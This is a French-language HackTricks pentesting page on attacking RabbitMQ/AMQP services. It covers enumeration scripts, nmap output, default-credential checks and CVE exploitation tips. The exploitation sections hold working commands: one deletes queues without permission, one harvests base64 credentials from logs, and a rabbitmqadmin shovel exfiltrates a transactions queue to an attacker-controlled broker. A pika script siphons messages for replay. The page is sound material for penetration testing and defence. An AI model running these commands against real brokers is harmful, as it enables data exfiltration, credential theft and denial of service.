5671,5672 - Pentesting AMQP

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

D’après cloudamqp:

RabbitMQ est un logiciel de mise en file d’attente de messages également connu sous le nom de message broker ou queue manager. En termes simples ; c’est un logiciel où des queues sont définies, auxquelles des applications se connectent pour transférer un ou plusieurs messages.
Un message peut contenir tout type d’information. Il peut, par exemple, contenir des informations sur un processus ou une tâche qui devrait démarrer sur une autre application (qui peut même se trouver sur un autre serveur), ou être simplement un message texte. Le logiciel de gestion des queues stocke les messages jusqu’à ce qu’une application réceptrice se connecte et récupère un message de la queue. L’application réceptrice traite ensuite le message.
Definition from .

Port par défaut: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Identifiants par défaut : guest:guest. RabbitMQ les restreint à localhost via loopback_users, mais de nombreuses images Docker/IoT désactivent cette vérification, donc testez toujours la connexion distante avant de supposer qu’elle est bloquée.
  • Mécanismes d’authentification : PLAIN et AMQPLAIN sont activés par défaut, ANONYMOUS est mappé à anonymous_login_user/anonymous_login_pass, et EXTERNAL (x509) peut être exposé lorsque TLS est activé. Énumérez ce que le broker annonce afin de savoir s’il faut essayer du password spraying ou du certificate impersonation plus tard.

Énumération

Manuel

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

Une fois authentifié, dump conn.server_properties, conn.channel_max et conn.frame_max pour comprendre les limites de débit et déterminer si vous pouvez épuiser les ressources avec des trames surdimensionnées.

Automatique

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

Vérifications TLS/SASL

  • Tester AMQPS:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

This leaks the certificate chain, supported TLS versions and whether mutual TLS is required.

  • List listeners without creds:
rabbitmq-diagnostics -q listeners

Utile une fois que vous obtenez un shell low-priv sur l’hôte.

  • Repérer les connexions ANONYMOUS : si le broker autorise le mécanisme SASL ANONYMOUS, essayez de vous connecter avec un nom d’utilisateur/mot de passe vide ; RabbitMQ va en interne vous mapper sur anonymous_login_user (par défaut guest).

Brute Force

Conseils d’exploitation

Suppression de queues sans la permission configure (CVE-2024-51988)

RabbitMQ ≤ 3.12.10 (et les builds Tanzu non patchés) ne vérifient pas la permission configure lorsque des queues sont supprimées via l’HTTP API. Tout utilisateur authentifié ayant accès au vhost ciblé peut nuke des queues arbitraires même s’il n’a seulement les droits read ou write.

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Combinez ceci avec rabbitmqadmin list permissions pour identifier les vhosts où votre utilisateur faiblement privilégié a un accès partiel, puis videz les queues pour provoquer un déni de service ou déclencher des contrôles compensatoires observés côté AMQP. Consultez 15672 pentesting pour plus d’endpoints HTTP API à enchaîner avec ce bug.

Récupérer des identifiants depuis les logs RabbitMQ (CVE-2025-50200)

Jusqu’aux versions 4.0.8/4.1.0, appeler le management API avec HTTP basic auth sur une ressource inexistante fait que le broker consigne l’intégralité de l’en-tête Authorization (base64). Si vous obtenez un accès limité au système de fichiers (par ex. Docker escape, plugin RCE), recherchez dans /var/log/rabbitmq/rabbit@*.log les occurrences de Authorization: et récupérez les identifiants d’autres tenants ou comptes de service.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Déclenchez cela intentionnellement avec des bogus endpoints pour déposer de nouveaux secrets dans les logs, puis pivotez en réutilisant les decoded creds via AMQP, STOMP, MQTT ou l’OS lui-même.

Weaponiser rabbitmqadmin-ng

rabbitmqadmin v2 (aka rabbitmqadmin-ng) est un CLI autonome qui s’interface avec l’API de management et propose désormais des builds liées statiquement pour Linux/macOS/Windows. Déposez-le sur votre bounce box et écrivez un script :

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

Parce que l’outil prend en charge des contrôles d’état compatibles blue/green, vous pouvez aussi abuser de rabbitmqadmin health_check port_listener --port 5672 pour confirmer à distance si des listeners TLS sont exposés ou pour maintenir le service occupé en vue de sondes temporelles.

Message hijacking/sniffing

Si vous trouvez des politiques permissives (.* bindings, topic exchanges, or x-queue-master-locator = min-masters), vous pouvez discrètement siphonner des messages sans les supprimer :

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

Remplacez la routing key par audit.# ou payments.* pour cibler les flux sensibles, puis republiez des messages falsifiés en inversant les arguments de basic_publish — pratique pour replay attacks contre les microservices en aval.

Autres ports RabbitMQ

Dans [https://www.rabbitmq.com/networking.html] vous pouvez trouver que RabbitMQ utilise plusieurs ports:

  • 1883, 8883: (MQTT clients sans et avec TLS, si le MQTT plugin est activé. Learn more about how to pentest MQTT here.
  • 4369: epmd, un service de découverte de pairs utilisé par les nœuds RabbitMQ et les outils CLI. Learn more about how to pentest this service here.
  • 5672, 5671: utilisés par les clients AMQP 0-9-1 et 1.0 sans et avec TLS
  • 15672: HTTP API clients, management UI et rabbitmqadmin (only if the management plugin is enabled). Learn more about how to pentest this service here.
  • 15674: STOMP-over-WebSockets clients (only if the Web STOMP plugin is enabled)
  • 15675: MQTT-over-WebSockets clients (only if the Web MQTT plugin is enabled)
  • 15692: Prometheus metrics (only if the Prometheus plugin is enabled)
  • 25672: utilisé pour la communication inter-nœuds et des outils CLI (port du serveur de distribution Erlang) et est alloué à partir d’une plage dynamique (limitée à un seul port par défaut, calculée comme AMQP port + 20000). Sauf si des connexions externes sur ces ports sont réellement nécessaires (p. ex. si le cluster utilise la federation ou si des outils CLI sont utilisés sur des machines en dehors du sous-réseau), ces ports ne devraient pas être exposés publiquement. Voir networking guide pour les détails. Seuls 9 de ces ports sont ouverts sur Internet.
  • 35672-35682: utilisés par les outils CLI (Erlang distribution client ports) pour la communication avec les nœuds et sont alloués à partir d’une plage dynamique (computée comme server distribution port + 10000 through server distribution port + 10010). See networking guide for details.
  • 61613, 61614: STOMP clients sans et avec TLS (only if the STOMP plugin is enabled). Moins de 10 appareils avec ce port ouvert et principalement UDP pour les nœuds DHT.

Voir aussi

4222 Pentesting Nats

Shodan

  • AMQP

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks